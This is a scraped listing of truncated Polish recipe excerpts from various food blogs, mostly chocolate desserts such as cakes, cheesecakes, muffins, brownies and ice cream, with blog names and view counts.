borówkami. Borówki nadały ciastu pysznego orzeźwiającego smaku i soczystości. Ciasto jest umiarkowanie słodkie. Ostrzegam, bardzo szybko znika :) Składniki:         Ciasto: 1/2 szklanki mleka 50 g gorzkiej czekolady 1 jajko 2/3 szklanki cukru 1/2 szklanki kwaśnej śmietany 1/4 szklanki oleju 1 szklanka mąki pszennej 1/2 szklanki kakao 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody do pieczenia(...)brzoskwiniowy: 1 puszka brzoskwiń 2 galaretki brzoskwiniowe 1/2 szklanki cukru pudru (jeśli brzoskwinie są mało słodkie) Dodatkowo: 200 - 250 g świeżych borówek Przygotowanie: Ciasto: Mleko podgrzać, rozpuścić w nim czekoladę i wystudzić. Jajko utrzeć do białości dodając stopniowo cukier i cukier z wanilią, ucierać do rozpuszczenia się cukru. Dodać olej, śmietanę, zmiksować, wlać mleko z rozpuszczoną czekoladą i zmiksować. Przesiać

Kuchcik gotuje
Blondies 122

ciemnego cukru (to on nadaje tego cudownego, krówkowo - karmelowego posmaku) szczypta soli 2 jajka - lekko roztrzepane 280 g mąki 1 czubata łyżeczka proszku do pieczenia 200 g białej czekolady połamanej w drobne kawałki Opcjonalnie: kwaśne owoce lub dżem Rozgrzewamy piekarnik do 180 stopni C. Przygotowujemy tortownicę. Masło rozpuszczamy z cukrem i solą ciągle mieszając. Ważne, żeby ciągle mieszać. Nie dopuszczamy(...)szybko mieszamy, żeby nie zrobiły się grudki. W osobnej misce mieszamy ze sobą mąkę i proszek do pieczenia. Po trochu dodajemy masę maślano-jajeczną. Do masy dodajemy pokruszoną białą czekoladę. Przekładamy do formy i albo robimy kilka esów-floresów z kwaśnego dżemu albo wtykamy kwaśne owoce. Pieczemy ok 45 minut. Na wierzchu robi się pyszna skorupka. Najlepiej smakuje z filiżanką

Smaki Przyprawy i Kolory
Ciasto Rafaello 254

Składniki: Biszkopt ( zrobić takie dwa ) 5 jajek 3/4 szklanki cukru 3/4 szklanki maki pszennej 1/4 szklanki maki ziemniaczanej 1 łyżka octu 1 łyżeczka proszku do pieczenia Masa: 3 białe czekolady 3 śmietany śnieżki 1 szklanka śmietany 30 % 1,5 szklanki mleka 20 dkg wiórek kokosowych 15 dkg margaryny Palmy Wykonanie: 1. Biszkopt robimy podwójnie: białka oddzielamy od żółtek i ubijamy(...)delikatnie mieszamy i dajemy na dwie formy o wymiarach 23x38 cm wyłożone papierem do pieczenia i pieczemy w temp. 180 stopni około 20-30 minut do suchego patyczka. 2. Czekolady łamiemy na kostki, dajemy do garnka razem z margaryną Palmą i rozpuszczamy, później do gorącego dodajemy śmietanę 30 % i energicznie mieszamy.  3. Śmietany śnieżki ubijamy w zimnym mleku, łączymy

Kuchnia u Bietki
Karkówka z czekoladą 110

kotletów z karkówki, 100 g czekolady 70%, chili, sól, 80 ml oleju Do rondelka wlać olej, włożyć pokrojoną czekoladę, posiekane chili i zagrzać do roztopienia czekolady. Doprawić do smaku solą. Mięso włożyć do marynaty i odstawić, najlepiej na całą noc. Wyjąć z mięso z marynaty i grillować, na grillu lub patelni grillowej. około 10– 14 minut. Grillowałam na grillu COBB

królestwo garów
3 Bit. 172

500g. Składniki: 1 puszka mleka skondensowanego słodzonego lub gotowa masa krówkowa (397g), 57 sztuk herbatników , 300ml słodkiej śmietany 30% lub 36%, 1 opakowanie śmietan-fix (ja pominęłam) kilka kostek czekolady (dowolna). Masa budyniowa: 1 i 1/2 szkl. mleka, 85g cukru, 1 żółtko, 30g mąki ziemniaczanej, 30g mąki pszennej (ja użyłam tortowej), 120g miękkiego masła. Przygotowanie: 1. Mleko skondensowane gotować trzy(...)całą przykryła). Wyłożyć drugą warstwę herbatników, posmarować masą budyniową. Wyłożyć trzecią, już ostatnią warstwę herbatników i posmarować je ubitą śmietaną ( śmietanę ubić ze śmietan fix). Wierzch ciasta posypać startą czekoladą. Ciasto włożyć do lodówki na co najmniej 12h. Składniki na większą porcję (forma o wym.35x24cm): 1 puszka mleka skondensowanego słodzonego lub gotowa masa krówkowa (500g), 75 sztuk herbatników (25sztuk

W kuchni u Moniki
Maślane ciasteczka 118

Składniki: Ciasto: 225 masła, miękkiego, 50g drobnego cukru, 1/2 łyżeczki ekstraktu (olejku) waniliowego, 225g mąki pszennej tortowej, przesianej przez sito. Ponadto: 100g gorzkiej czekolady, czereśnie w syropie ( koktajlowe). Przygotowanie: Masło utrzeć z cukrem na puszystą masę. Dodać mąkę i ekstrakt waniliowy. Zagnieść ciasto. Blaszkę do pieczenia natłuścić. Ciasto nabić do szprycy i formować ciastka - mogą być proste paski, okrągłe(...)pół i wcisnąć w ciastka. Piec w rozgrzanym piekarniku w 190stopniach C przez ok.10-15min. - do nabrania złotego koloru. Po wyjęciu położyć na kratce i pozostawić do całkowitego ostygnięcia. Rozpuścić czekoladę, zamoczyć kawałek każdego ciastka i pozostawić do zastygnięcia czekolady.    Przepis na ciasteczka pochodzi z książki Hamlyn All Colour 'Million Menus Cookbook'. Smacznego

W kuchni u Moniki
Kruche ciasteczka z bananem i czekoladą. 258

użyłam tortowej), 160g cukru ( 3/4 szklanki), 125ml wody ( pół szklanki), 125ml oleju ( pół szklanki), 7g proszku do pieczenia ( 2 łyżeczki), 16g cukru wanilinowego. Ponadto: 1 i1 1/2 banana, 100g czekolady mlecznej, cukier puder, odrobina oleju. Przygotowanie: Składniki na ciasto razem połączyć i zagnieść. Rozwałkować ciasto i powykrawać szklanką krążki. Na każdy krążek (z połowy ciasta) położyć po plasterku banana(...)kostce czekolady.  Krążkami z drugiej połowy ciasta przykryć banana  i czekoladę i dobrze skleić z dolnym ciastem. Ciastka kłaść na blaszce wyłożonej papierem do pieczenia i delikatnie posmarowanym olejem. Włożyć do nagrzanego piekarnika do 190stopni C i piec ok20min. Po wyjęciu z piekarnika pozostawić do ostygnięcia i posypać cukrem pudrem.  Smacznego

W kuchni u Moniki
Babeczki 155

mąki pszennej tortowej, 1 łyżeczka proszku do pieczenia, 125g masła, rozpuszczonego i przestudzonego, 125g cukru, 2 jajka, 2 łyżki mleka. Dodatki ( mogą być dowolne, według własnego smaku) : banan, jabłko, czekolada na kanpki, cukiero puder. Przygotowanie: Składniki suche tzn. mąkę, proszek do pieczenia i cukier wymieszać razem. Składniki mokre tj. masło, jajka i mleko razem wymieszać, roztrzepać. Składniki mokre połączyć(...)składnikami suchymi, mieszać łyżką do momentu aż nie będzie grudek. Jabłko obrać, wykroić środek i pokroić w kostkę. Pokrojone jabłko ( może to być również suszona żurawina, gruszka, pokrojona drobno czekolada itd.) wymieszać razem z ciastem. Papilotki włożyć do blaszki ze specjalnymi wgłębieniami. Na dno papilotek nałożyć ciasto, następnie położyć czekoladę ( mniej więcej pół łyżeczki na każdą babeczkę), plasterek banana

W kuchni u Moniki
czekoladowo czereśniowy sernik bez pieczenia 115

tych rodzajów deserów, które znikają ze stołu w błyskawicznym tempie. Składniki 150 g herbatników 1 kg   sera twarogowego 3 łyżki kakao 50 gr masła ½ szklanki cukru Gorzka czekolada 5 płaskich łyżek żelatyny Konfitura czereśniowa Tortownica o średnicy około 24 cm Sposób przygotowania Herbatniki kruszymy w blenderze, dodajemy łyżkę kakao i masło, a następnie układamy na spodzie tortownicy mocno przyciskając(...)układamy środkową warstwę. Czekamy aż warstwa stężeje. W trzecim naczyniu  mieszamy żelatynę z ½ części cukru, dodajemy 1/3 sera twarogowego, 30 g startej na grubych oczkach tarki gorzkiej czekolady, zostawiając niewielką część do dekoracji, ponownie mieszamy (ważne: całość musi być już schłodzona, inaczej czekolada roztopi się w twarogowej masie), układamy na ostatniej warstwie.  Całość posypujemy wiórkami czekoladowymi i wstawiamy

Miód i pieprz
Deser jogurtowy z galaretkami i owocami 188

ciasto na zimno znają wszyscy, na blogu już jest jogurtowiec z galaretkami , ale bez owoców i czekolady. U nas w domu lubią je wszyscy, gdyż jest smaczne, a do tego bardzo kolorowe, efektownie wygląda na talerzu. Masę do tego ciasta można zrobić z jogurtu, serka homogenizowanego lub śmietany. Ale według mnie najlepsza jest wersja z jogurtu, gdyż jest mniej kaloryczna(...)jogurtu greckiego + 1 galaretka malinowa rozpuszczona w ½ szklanki wrzącej wody 4 łyżki domowego cukru waniliowego 1/3 szklanki mleka 2 łyżki żelatyny Winiary borówki i maliny 100 g gorzkiej czekolady z chilli Każdą galaretkę rozpuszczamy w szklance wrzącej wody i wlewamy do płaskich talerzy. Odstawiamy do stężenia. Gdy galaretki już stężeją kroimy je na talerzu w kostkę, a potem wybieramy

Damsko-męskie spojrzenie na kuchnię
Ciasto Kinder Chocolate 489

Krem Kinder Chocolate: 150 g batoników Kinder Chocolate (12 sztuk) 30 g masła 630 g słodkiej śmietanki 30-36 % Polewa czekoladowa: 15 g masła 100 ml mleka 1 gorzka czekolada 15 g cukru Dodatkowo: kilka posiekanych batoników Kinder Chocolate do dekoracji kilka łyżek startej, białej czekolady do dekoracji Przygotowanie: 1. Ciasto czekoladowe: Margarynę rozpuścić, ostudzić. Suche składniki przesiać, a następnie(...)lodówce. 3.Polewa czekoladowa: Wszystkie składniki rozpuścić w kąpieli wodnej do otrzymania jednolitej polewy. Pozostawić do zgęstnienia. Gęstniejącą polewę wyłożyć na wierzch ciasta. Posypać posiekanymi batonikami i startą, białą czekoladą. Schłodzić minimum 4 godziny (najlepiej całą noc) Smacznego

Nastoletnie Wypiekanie
czekoladowa domowa gryczana nutella 164

czystym sumieniem, będziemy mogli rozkoszować się smakiem naszego masła, mając świadomość że dostarczmy naszemu organizmowi całe bogactwo składników, zawarte w gryce, miodzie i kakaowej miazdze zawartej w gorzkiej czekoladzie. składniki 1 szklanka ugotowanej kaszy gryczanej ( można też użyć innego rodzaju kaszy np. jaglanej) 1/2 szklanki mleka 1 tabliczka gorzkiej czekolady(o wysokiej zawartości kakao)  3-4 łyżki orzechów laskowych(...)masie nam nie przeszkadzają, to pomijamy prażenie i zaczynamy od wsypania orzechów do  blendera. Mielimy orzechy przez minutę, następnie dodajemy kaszę, mleko, miód, kakao oraz połamaną na kawałki czekoladę. W miarę mielenia, masa która na początku mielenia przypominać będzie "koktajl" zacznie się zmieniać, a składniki połączą się tworząc  plastyczną masę o konsystencji masła. W tym momencie wyłączamy blender

Miód i pieprz
Sernik na zimno z borówkami , jeżynami i galaretką na ciasteczkowo - czekoladowym spodzie . 212

łyżki cukru pudru 50 g żelatyny 1 szklanka słodkiej śmietanki 1/2 szklanki cieplej wody  1 cukier waniliowy Spód : 2oo g ciasteczek orzechowych 2o g masła 100 g czekolady 2/3 łyżki espresso 500g borówki amerykańskiej 250 g jeżyn  2 galaretki dowolne ja dałam brzoskwiniowe 0,5 l przegotowanej wody motylki cukrowe do dekoracji boków Wykonanie : Ciasteczka zmielić , czekoladę rozpuścić(...)masłem w kąpieli wodnej. Roztopioną czekoladę przelać do ciasteczek i wymieszać. Tortownicę o średnicy 26 wyłożyć papierem do pieczenia.  Masą ciasteczkową wyłożyć spód tortownicy , dobrze ubić i odstawić do lodówki na około 30 minut.    Żelatynę namoczyć w 1/2 szklanki wody , gdy napęcznieje szklankę wstawić do miski z ciepłą wodą aby się rozpuściła.  Do miski przełożyć

Sama słodycz i szczypta chili
Ciasto Szyszkowiec. 397

więc już nie dosładzamy, występuje pod wieloma nazwami), 1 łyżka naturalnego kakao 4 łyżeczki żelatyny rozpuszczone w pół szklanki wody puszka  około 500 g masy kajmakowej tabliczka białej czekolady 100 g 2 łyżki mleka opcjonalnie cukier puder do dosłodzenia masy - według uznania 100 ml przegotowanej wody z łyżką cukru do nasączenia biszkoptu Wykonanie: Upiec biszkopt. Białka oddzielić od żółtek(...)wierzchu. Zmiksować, małym strumieniem stale miksując dodać tężejącą żelatynę. Masę wyłożyć na biszkopt. Na krem wyłożyć pozostały ryż preparowany. By dodatkowo go utrzymać w miejscu zrobić polewę z białej czekolady. Do rondelka włożyć połamaną na kostki czekoladę, oraz odrobinę mleka - tyle by zakryło spód naczynia, około 2 łyżki. Podgrzewać, stale mieszając rozpuścić. Masą czekoladową polać wierzch.  Ciasto wstawić

Poezja Smaków - blog kulinarny
Biszkopt z brzoskwiniami i masą straciatella 133

łyżeczki proszku do pieczenia 1 czubata szklanka mąki pszennej Masa straciatella: 400 ml śmietany 30% 1 cukier wanilinowy 450 g serka homogenizowanego waniliowego 4 opakowania śmietan-fixu 100 g czekolady mlecznej   Dodatkowo: 1 puszka brzoskwiń 2 galaretki brzoskwiniowe Sposób przygotowania: 1. Biszkopt: białka oddzielić od żółtek. Białka ubić na sztywno. Dodawać stopniowo cukier, ciągle miksując, aż lekko rozpuści się(...)cukier wanilinowy. Ubić śmietankę do całkowitej sztywności. Dodać serek waniliowy. Zmiksować 2 sek. do połączenia się składników. Dodać śmietan-fixy i natychmiast zmiksować 2 sek., aby składniki się połączyły. Czekoladę zetrzeć na tarce o grubych oczkach. Dodać czekoladę do ubitej śmietany z serkiem i wymieszać łopatką. 3. Galaretki przygotować wg przepisu na opakowaniu. Brzoskwinie osączyć z soku i pokroić

Na Ciasteczkowych Papierach
Rafaello 114

cukru 1,5 szklanki mąki 2 łyżeczki proszku do pieczenia słoik dżemu brzoskwiniowego z kawałkami owoców (400 g) 600 ml śmietany 30% 250 g serka mascarpone 200 g białej czekolady 200 g wiórek kokosowych sok z 1 cytryny + 1 szklanka wody Sposób przygotowania: 1. Biszkopt: białka ubijamy na sztywną pianę, pod koniec ubijania dodajemy partiami cukier. Następnie dodajemy kolejno żółtka(...)pieczenia i wylewamy na nią przygotowaną masę. Pieczemy w temperaturze 180°C przez ok 30–40 minut. Po tym czasie wyjmujemy i studzimy. Zimny przekrawamy na pół. 2. Czekoladę roztapiamy na parze i studzimy. Śmietanę ubijamy na sztywno. Dodajemy serek mascarpone, wiórki kokosowe i miksujemy do połączenia. Na koniec dodajemy ostudzoną ale płynną czekoladę i krótko mieszamy. 3. Pierwszy blat

Na Ciasteczkowych Papierach
Malinowy torcik 154

szklanki cukru 1 szklanka mąki 1 łyżeczka proszku do pieczenia   Masa malinowa: 250 g malin 200 g śmietany 30 % 1 galaretka malinowa   Masa czekoladowa: 100 g czekolady mlecznej 200 g śmietany 30 % 3 łyżki cukru pudru 1 opakowanie śmietan-fix   Galaretka malinowa: 250 g malin 1 galaretka malinowa Sposób przygotowania: 1. Biszkopt: Białka ubijamy na sztywno. Dodajemy(...)oraz ostudzoną ale płynna galaretkę. Wszystko dokładnie mieszamy. Masę wykładamy na pierwszy krążek biszkoptu, przykrywamy drugim i lekko dociskamy. Wstawiamy do lodówki, aby masa nieco stężała. 3. Masa czekoladowa: Czekoladę ścieramy na tarce o dużych oczkach. Cukier puder mieszamy ze śmietan-fixem. Śmietanę ubijamy na sztywno. Dodajemy cukier z zagęstnikiem i czekoladę i dokładnie, ale krótko mieszamy. Masę wykładamy

Na Ciasteczkowych Papierach
Blondie - białe brownie 96

Przy okazji testowania przepisów na brownie ciemne, testowałam przepisy na brownie białe i tu także znalazłam swój ideał :) Składniki: 200 g białej czekolady 200 g masła 6 jajek 1/2 szklanki cukru pudru 1 szklanka mąki pszennej 100 g wiórek kokosowych kilka kropel aromatu waniliowego 1 łyżeczka proszku do pieczenia Sposób przygotowania: 1. Białą czekoladę z masłem roztopić na parze(...)odstawić do wystudzenia. Jajka ubić z cukrem, dodać mąkę pszenną z proszkiem, wiórki kokosowe oraz aromat waniliowy i zmiksować. Na koniec dodać czekoladę z masłem i wymieszać. Masę przelać do formy 20x35 cm wyłożonej papierem do pieczenia i piec 20-25 min w 180 stopniach. Smacznego

Na Ciasteczkowych Papierach
Maślankowe muffiny z borówkami amerykańskimi 117

wanilią szczypta soli  Składniki mokre: 1,5 szklanki maślanki naturalnej 2 jajka 6 łyżek oleju i dodatkowo  1,5 szklanki borówek amerykańskich  jedna polewa z białej czekolady jedna polewa z ciemnej czekolady Przygotowanie: Mąkę przesiewany do miski. Następnie dodajemy proszek do pieczenia, cukier, cukier z wanilią i sól. W drugiej misce łączymy ze sobą rozbełtane jajka, olej(...)minut - do czasu aż muffiny się zarumienią  i delikatnie popękają a sok z borówek będzie z nich wypływał. Po upieczeniu wylewamy na nie polewy z białej i ciemnej czekolady. Smacznego

Taste Therapy
Czekoladowe muffiny ze skórką pomarańczy 107

Składniki: 15 dag masła, 15 dag czekolady, 30 dag mąki, 2 łyżeczki proszku do pieczenia, pół łyżeczki sody, 4 łyżeczki kakao, 1 łyżka kawy rozpuszczalnej w granulkach, szklanka cukru, cukier waniliowy, 2 jajka, 2 łyżki skórki pomarańczowej, 170 ml mleka Sposób przygotowania: Masło roztapiamy w garnku i odstawiamy do ostygnięcia. Czekoladę siekamy na kawałki. Do jednej miski wkładamy mąkę, proszek(...)pieczenia, kakao, sodę, kawę (kawę trzemy w rękach na pył), cukier, cukier waniliowy. Dokładnie mieszamy. W drugiej misce miksujemy jajka z mlekiem. Sypkie składniki mieszamy z czekoladą i skórką pomarańczy. Masę jajeczną dolewamy do produktów sypkich i mieszamy drewnianą łyżką delikatnie kilka razy. Formę do muffinek wykładamy papilotkami. Do każdej kładziemy po 2 czubate łyżki ciasta. Pieczemy około 25 minut

Pobite gary Barbary
Ciasto żurawinowe z mascarpone 130

łyżeczka mielonego imbiru, 10 dag mielonych migdałów, szczypta soli, łyżeczka proszku do pieczenia, 10 dag mąki tortowej, 10 dag mąki żytniej, 10 dag suszonej żurawiny, 15 dag białej czekolady, 25 dag serka mascarpone, szklanka cukru pudru, sok z połowy cytryny, 2 łyżki mleka. Do ozdoby: 5 dag żurawiny, garść płatków migdałowych. Sposób przygotowania: Masło ucieramy z brązowym cukrem. Nie przerywając(...)ucierania dodajemy jajka, imbir, mielone migdały, proszek do pieczenia i sól. Do miski przesiewamy dwa rodzaje mąki i miksujemy. Dodajemy żurawinę i posiekaną tabliczkę czekolady (10 dag). Całość mieszamy. Tortownicę o średnicy 26 cm wykładamy papierem do pieczenia. Przekładamy ciasto i pieczemy ok. 30 minut w temperaturze 180 stopni C. Przygotowujemy krem. Serek miksujemy z cukrem pudrem i sokiem

Pobite gary Barbary
Czekoladowiec z porzeczkami 180

Składniki: biszkopt: tabliczka gorzkiej czekolady, szklanka mleka, 2 szklanki mąki, szklanka kakao, łyżeczka proszku do pieczenia, łyżeczka sody oczyszczonej, 1 i ½ szklanki cukru, opakowanie cukru waniliowego, 2 jajka, ½ szklanki oleju, szklanka kwaśnej śmietany 12% . masa kokosowa: 2 szklanki mleka, 2 łyżki cukru, 20 dag masła, 2 łyżki cukru pudru, 10 dag wiórek kokosowych. Dodatkowo- 50 dag czerwonych porzeczek, 2 galaretki(...)truskawkowe. Sposób wykonania: Mleko podgrzewamy na wolnym ogniu. Dodajemy do niego połamaną czekoladę. Mieszając czekamy aż się rozpuści. Odstawiamy do ostygnięcia. Mieszamy suche składniki tj. mąkę, proszek do pieczenia, kakao, sodę Jajka ubijamy mikserem na jednolitą masę. Pod koniec ubijania dodajemy cukier i cukier waniliowy. Wlewamy śmietanę i olej, miksujemy. Następnie dodajemy przestudzone mleko z czekoladę, miksujemy. Wsypujemy sypkie składniki

Pobite gary Barbary
Ciastka Pszenno - owsiane w czekoladzie 151

razem zrobiłam ciastka bez mąki na otrębach pszennych i owsianych . Pyszne dietetyczne ciasteczka  polane czekoladą . Składniki na ciastka Pszenno - owsiane  3 szklanki otrębów  owsianych  1 szklanka otrębów pszennych 200 g śmietany 18% 6 łyżek  miodu płynnego 2 jajka 3 łyżeczki sody 1 łyżeczka proszku do pieczenia(...)łyżeczka cynamonu 100 g suszonej żurawiny 100 g rodzynek 6 łyżek  wiórków kokosowych 4 łyżki  błonnika kakaowego  Dodatkowo: czekolada 200 g Wykonanie ciastek Pszenno - owsianych   Do misy wsypujemy otręby owsiane i pszenne . Dodajemy jaja i śmietanę i płynny miód. Wsypujemy sodę i proszek do pieczenia . Dodajemy cynamon. Wsypujemy wiórka kokosowe  Dodajemy

Różowa kuchnia
Wybuchowa pinacolada 145

mikserem i stopniowo dodawać wystudzony budyń. Jeśli masa nie jest wystarczająco dla nas słodka, można dosypać cukru pudru. Masa śmietankowa: 250 ml śmietanki 30-36% 2 łyżki cukru pudru czekolada gorzka 70% lub więcej owoc granatu 1-2 łyżeczki żelatyny lub opakowanie śmietan-fixu Dobrze schłodzoną śmietankę ubić z cukrem i żelatyną. Czekoladę zetrzeć na drobnych oczkach i wymieszać(...)budyniową i poukładać na niej kawałki ananasa. Można równie dobrze wymieszać go z masą. Następnie przykryć warstwą herbatników również skropionych herbatką/sokiem. Przykryć warstwą śmietanki. Dodatkowo zetrzeć jeszcze trochę czekolady i obsypać pozostałym granatem i/lub ananasem. Przed podaniem schłodzić w lodówce

Karczma Honorietty
Czekoladowy karmel 144

margaryny mlecznej 1 jajko 5 ml aromatu arakowego 3 łyżki zimnej wody Karmel: 300 g cukru 100 ml wody 125 g serka mascarpone 70 g masła łyżeczka soli Czekolada: tabliczka mlecznej czekolady Goplana 120 ml śmietany kremówki szczypta wiórek kokosowych Przygotowanie: Suche składniki wymieszać, dodać zimną margarynę pokrojoną w kostki i rozgnieść widelcem. Następnie dołożyć jajko i pozostałe składniki. Wyrabiać(...)zamknąć w lodówce na noc, by nie kusiło. Ostatni etap jest najłatwiejszy, aczkolwiek też wymaga odrobiny cierpliwości. A mianowicie, podgrzewamy kremówkę, aż zabulgoce i wrzucamy do niej kostki czekolady. Mieszamy do rozpuszczenia. Polewamy ciasto i dekorujemy wiórkami. I teraz najsmutniejsza chwila, albowiem znów musimy schować do lodówki, na jakieś 2-3 godzinki

Karczma Honorietty
Pierniczkove love 182

czubate łyżki przyprawy korzennej - 1 płaska łyżka kakao - 2 łyżeczki sody oczyszczonej - 1 łyżka wody (do rozpuszczenia w niej sody) Dekoracje:  - jedno białko - szklanka cukru pudru - pół tabliczki czekolady W rondelku rozpuszczamy margarynę, cukier, miód i przyprawę. Mieszamy na małym ogniu do momentu, aż cukier się rozpuści. Zostawiamy do przestygnięcia. Do miski wsypujemy mąkę, wbijamy jajka, dodajemy kakao(...)blasze wyłożonej papierem do pieczenia i wkładamy do piekarnika rozgrzanego to 180 stopni na ok. 10 minut (w przypadku cieńszych pierników trochę mniej). Do udekorowania użyłam lukru i rozpuszczonej czekolady. Lukier otrzymujemy poprzez utarcie białka jajka z cukrem pudrem. Powinien on być dosyć gęsty, nie może spływać z pierników. Najlepiej nakładać go przez strzykawkę lub przez stożek zrobiony z papieru

two broke sisters
Uczta dla podniebienia - muffinki bardzo czekoladowe z kremem malinowym 128

niespodzianka bez okazji :) muffinki czekoladowe z kremem malinowym  Czego potrzebujemy? Muffinki - 170g masła - 2 jajka - 150g cukru (można eksperymentować z mniejszą ilością) - 100 ml mleka  - 200 g czekolady (wedle gustu, ja wykorzystałam gorzką) - 30 g kakao - 170 g mąki pszennej (można użyć pełnoziarnistej) - 2 łyżeczki proszku do pieczenia Krem - 120 g malin (mogą być mrożone, a kiedy(...)nieosiągalne, to można spokojnie zastąpić je konfiturą malinową dobrej jakości) - 250 g serka mascarpone - 200 g naturalnego serka kanapkowego (typu Almette) - ewentualnie cukier puder do dosłodzenia Przygotowanie: 1. Czekoladę siekamy na mniejsze kawałki, ich wielkość zależy od upodobań. Ja zawsze zostawiam trochę większe kawałki, żeby były wyczuwalne w upieczonych muffinkach. 2. W dużej misce mieszamy ze sobą wszystkie suche składniki

two broke sisters
Wegańskie batoniki „CiniMinis” 108

wiem jak Wy, ale ja płatki CiniMinis omijam szerokim łukiem dla swojego dobra, bo uwielbiam je jeść „na sucho” i pochłaniam ogromne ilości. Składniki: na „białą czekoladę” 150 g cukru pudru 150 g masła kokosowego 170 g mleka sojowego w proszku 100 ml mleka sojowego reszta batonika: 200 g najzwyklejszych płatków kukurydzianych (kupuję zawsze(...)najtańsze bo tylko one nie mają zbędnych dodatków w postaci dodatkowego cukru, E itd.) 2-3 łyżki cynamonu 100 ml syropu z agawy 50 g masła kokosowego Przygotowanie: „Czekoladę” przygotować w kąpieli wodnej: masło kokosowe rozpuścić stopniowo dodawać wymieszane mleko w proszku z cukrem pudrem przesiewając je do masła. Cały czas mieszać. Po uzyskaniu idealnie gładkiej, kremowej konsystencji

greenscarf
Lody z białej czekolady 226

Bardzo smaczne lody, z wyczuwalną nutą białej czekolady. Delikatne i kremowe, bez jajek. Podałam je na imprezie, także zniknęły w oka mgnieniu ;) Oblewaliśmy nowy biznes naszych przyjaciół, którzy dzięki http://erabox.pl/szafka-pracownicza , szybko uwinęli się z wyposażaniem nowego lokum ;) Kolejnym razem pokażę Wam ciasto, które na tę okazję zrobiłam, a teraz jeszcze raz zapraszam na lody :-) Składniki: 250 ml mleka(...)śmietany 30% 50 g cukru 100 g białej czekolady Do rondla przełożyć mleko, cukier i połamaną czekoladę, rozpuścić w kąpieli wodnej. Wystudzić. Śmietanę ubić na sztywno, wymieszać z zimną masą czekoladową. Masę przelać do pojemnika, włożyć do zamrażalnika i co 30 minut, 4-5 razy wyjąć i wymieszać. Smacznego :) Przepis dodaję do akcji

Domowa cukiernia Ewy
Sernik Miętowy Pieczony - Łatwy! (zawsze wychodzi!) 150

lodówce dłużej niż 24 h, bo znika w oczach, taki jest pyszny :) Piekłam już go kilka razy w tym miesiącu, tym razem pokusiłam się o małe zmiany, mięta i czekolada, która idealnie opadła na dno. Nie miałam wystarczająco sera białego, więc dodałam mascarpone  wyszło świetnie. Mięta jest lekko wyczuwalna, nadaje całości świeżości, jeśli chcecie bardziej miętowy dodatkowo możecie dodać(...)serka mascarpone 60 ml syropu miętowego barmańskiego  220 g drobnego cukru 4 jajka 2 łyżki mąki pszennej  1 łyżka soku z cytryny opcjonalnie pokrojona na drobne kawałki czekolada deserowa 1 garść wystarczy Wszystkie składniki powinny być w temperaturze pokojowej. Wszystkie składniki umieściłam w misce i wszystko razem zmiksowałam do połączenia się składników. Nie miksowałam zbyt długo, żeby

Blondynka Gotuje
Tarta kawowa z malinami podana z angielskim porterem 192

formy o średnicy 18 cm, mocno docisnąć i włożyć do lodówki. Masa kawowa: 2 łyżeczki kawy rozpuszczalnej 2 łyżki gorącej wody 300 ml śmietany 30% 200 g białej czekolady maliny Kawę rozpuścić w 2 łyżkach gorącej wody, ostudzić. Czekoladę rozpuścić w kąpieli wodnej, odłożyć do wystudzenia. Śmietanę ubić na sztywno, następnie krótko zmiksować ją z zimną kawą. Dodać przestudzoną(...)płynną czekoladę, delikatnie wymieszać. Masę wyłożyć na spód, wyrównać. Włożyć do lodówki, najlepiej na całą noc. Przed podaniem udekorować świeżymi malinami. Smacznego :) Przepis dodaję do akcji

Domowa cukiernia Ewy
Brownie z cukinii z lodami kawowo-porzeczkowymi podane z angielskim porterem 143

Już Wam tłumaczę skąd takie połączenie. Zacznę od początku. Wszystko zaczęło się od piwa typu angielski porter, które to świetnie komponuje się z deserami kawowymi, piernikami i gorzką czekoladą. Jako, że zwykłe brownie to dla mnie nic odkrywczego postanowiłam wypróbować przepis, który już od dawna chodził mi po głowie i był tak absurdalny, iż musiałam go wypróbować(...)łyżki cukru 1 łyżka stewii 1 starte jabłko 2 jajka szczypta soli 1/2 łyżeczki proszku do pieczenia 1 łyżeczka przyprawy do piernika (można pominąć) 50 gram gorzekiej czekolady 77% 2 łyżki masła Jajka mieszamy z cukinią i jabłkiem. W drugiej misce mieszamy mąkę, kakao, proszek do pieczenia, cukier, stewie, sól i przyprawę do piernika. Zawartość jednej miski łączymy z zawartością

Mango Papaja
Mazurek śliwkowy z kremem z mascarpone i białej czekolady 143

a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-42916170-1', 'auto'); ga('send', 'pageview'); MAZUREK ŚLIWKOWY Z KREMEM Z MASCARPONE I BIAŁEJ CZEKOLADY Składniki na ciasto: - 150 gram mąki krupczatki - 150 gram mąki pszennej - 200 gram masła - 100 gram cukru pudru - 1 żółtko - 1 łyżka zimnej wody Przygotowanie ciasta: Z podanych składników zagniatamy(...)surowego ciasta, tworząc okienka. Można posmarować je jajkiem, ale nie trzeba. Podpiekamy w piekarniku rozgrzanym do 190 stopni do zarumienienia (10-15 minut). Składniki na krem: - 300 gram białej czekolady - opakowanie mascarpone Przygotowanie kremu: Roztapiamy czekoladę i lekko ją studzimy. Potem mieszamy za pomocą miksera z mascarpone.  Wypełniamy kremem okienka lekko przestudzonego ciasta. Zdobimy przed zupełnym ostygnięciem, aby dekoracja

Życie zamknięte w smaku
Cukiniowe brownie z orzechową polewą, Żarnowiec-Krosno-Odrzykoń 147

zwykłej) - 3 duże jajka - 120 ml oleju - 1 łyżka kawy rozpuszczalnej - 150 g cukru - 2 szklanki cukinii, startej na tarce i odciśniętej z soku - 1 tabliczka posiekanej gorzkiej czekolady Składniki na polewę (wg własnego pomysłu): 3 łyżki masła orzechowego kilka łyżek ulubionego mleka ½ tabliczki gorzkiej czekolady, połamanej na mniejsze kawałki W jednej misce wymieszaj mąkę z sodą, proszkiem do pieczenia(...)olejem, kawą i cukrem. Wsyp 2/3 suchej mieszanki do masy jajeczno-kawowej i wymieszaj, ale niezbyt dokładnie (ważne). Do pozostałej 1/3 suchych składników dodaj startą cukinię i posiekaną czekoladę, wymieszaj. Połącz zawartość obu misek, nie mieszaj jednak zbyt długo (!). Ciasto przelej do wysmarowanej olejem formy (użyłam 20 cmx20 cm). Piecz w temperaturze 180˚C przez 40-50 minut.  Polewa

Qlinarnie i Qlinarnie
Lody Czekoladowe Domowe 178

